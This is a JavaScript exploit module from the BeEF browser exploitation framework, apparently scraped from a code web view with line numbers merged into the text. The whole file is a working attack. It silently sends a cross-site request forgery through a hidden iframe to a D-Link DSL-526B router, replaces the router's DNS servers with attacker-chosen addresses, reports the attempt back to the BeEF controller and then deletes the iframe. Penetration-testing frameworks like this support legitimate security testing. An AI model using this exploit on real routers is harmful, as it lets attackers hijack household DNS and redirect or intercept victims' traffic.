Path: blob/master/modules/exploits/router/dlink_dsl526b_dns_hijack/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78// config9var target = 'http://<%= @rhost %>/dnscfg.cgi';10var dns1 = '<%= @dns1 %>';11var dns2 = '<%= @dns2 %>';12var timeout = 15;1314// validate DNS server IP addresses15if (!beef.net.is_valid_ip(dns1)) {16beef.debug('Invalid Primary DNS server IP address was provided');17beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");18return;19}20if (!beef.net.is_valid_ip(dns2)) {21beef.debug('Invalid Secondary DNS server IP address was provided');22beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");23return;24}2526// change DNS27var dlink_dsl526b_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [28{'type':'hidden', 'name':'dnsPrimary', 'value': dns1},29{'type':'hidden', 'name':'dnsSecondary', 'value': dns2},30{'type':'hidden', 'name':'dnsDynamic', 'value': '0'},31{'type':'hidden', 'name':'dnsRefresh', 'value': '1'}32]);3334beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");3536// clean up37cleanup = function() {38document.body.removeChild(dlink_dsl526b_iframe_<%= @command_id %>);39}40setTimeout("cleanup()", timeout*1000);4142});43444546